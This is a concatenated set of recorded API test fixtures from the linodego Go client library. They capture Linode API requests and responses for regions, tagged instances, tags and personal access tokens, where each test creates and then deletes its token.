"178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-tag","tags":["go-tag-test"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 44320285, "label": "go-ins-test-tag", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.121.107"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["go-tag-test"], "host_uuid": "27794644806544c4e2dd0e7f98d6d31be8c7e356"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "709" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-ins-test-tag","alerts":{"cpu":90,"io":10000,"network_in":10,"network_out":10,"transfer_quota":80},"watchdog_enabled":true,"tags":["go-tag-test","go-tag-test-bar"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/44320285 method: PUT response: body: '{"id": 44320285, "label": "go-ins-test-tag", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.121.107"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["go-tag-test", "go-tag-test-bar"], "host_uuid": "27794644806544c4e2dd0e7f98d6d31be8c7e356"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "728" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-tag-test-foo","linodes":[44320285]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags method: POST response: body: '{"label": "go-tag-test-foo"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "28" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags method: GET response: body: '{"data": [{"label": "cool"}, {"label": "cooler"}, {"label": "go-tag-test"}, {"label": "go-tag-test-bar"}, {"label": "go-tag-test-foo"}, {"label": "new_tag"}, {"label": "test"}, {"label": "tf_test"}, {"label": "tf_test-967530919941343106"}, {"label": "tf_test-967530919941343106-0"}, {"label": "tf_test-967530919941343106-1"}, {"label": "tf_test-967530919941343106-2"}, {"label": "tf_test_2"}, {"label": "tf_test_updated"}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "461" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test method: GET response: body: '{"page": 1, "pages": 1, "results": 1, "data": [{"type": "linode", "data": {"id": 44320285, "label": "go-ins-test-tag", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.79.121.107"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": ["go-tag-test", "go-tag-test-bar", "go-tag-test-foo"], "host_uuid": "27794644806544c4e2dd0e7f98d6d31be8c7e356"}}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "824" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test-foo method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/go-tag-test-bar method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/44320285 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestTag_ListTaggedObjects_Missing.yaml000066400000000000000000000020771455402072200340530ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/tags/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestToken_GetFound.yaml000066400000000000000000000112041455402072200311500ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":"2022-10-10T19:47:28"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 41180270, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "7b3d5d8aed20bbfe821301f519f59ef69dbfde5555377d43a9450d0432a1997b", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180270 method: GET response: body: '{"id": 41180270, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "7b3d5d8aed20bbfe", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180270 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestToken_GetMissing.yaml000066400000000000000000000020761455402072200315150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/123 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestToken_GetNoExpiry.yaml000066400000000000000000000111631455402072200316560ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 41180271, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "2efb8b52324b06c948e89e2f593dfbbc764306077f91ff20c57c5e843541dc9e", "expiry": "2999-12-12T05:00:00"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180271 method: GET response: body: '{"id": 41180271, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "2efb8b52324b06c9", "expiry": "2999-12-12T05:00:00"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180271 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestTokens_List.yaml000066400000000000000000000131141455402072200305350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":"2022-10-10T19:47:29"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 41180273, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "60fbc58db1ab95071e646f48d1da3dd2f8c37d7f7fb602bafd6b731ee875a067", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: GET response: body: '{"data": [{"id": 39828879, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "lena-pc", "token": "f769d10d3554bab1", "expiry": "2018-01-02T03:04:05"}, {"id": 39906996, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "lena-pc2", "token": "30f37bba6d5ff947", "expiry": "2222-08-19T00:00:00"}, {"id": 40478549, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "lena-pc-3", "token": "fe0549c503a93043", "expiry": "2018-01-02T03:04:05"}, {"id": 40581141, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "tesat", "token": "baa4e1616b02312a", "expiry": "2018-01-02T03:04:05"}, {"id": 40676179, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "asdad", "token": "77e6e2a9cf240f0d", "expiry": "2018-01-02T03:04:05"}, {"id": 40719326, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "laptop", "token": "ba91c55cc1531b4f", "expiry": "2018-01-02T03:04:05"}, {"id": 41180273, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "60fbc58db1ab9507", "expiry": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 7}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/41180273 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestTokens_Update.yaml000066400000000000000000000111371455402072200310470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":"2022-10-10T19:47:29"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 41180272, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "e695af7f49f471c1d77ea1356f427137464ebb553abad03d8c8ceeee95dd8eda", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - 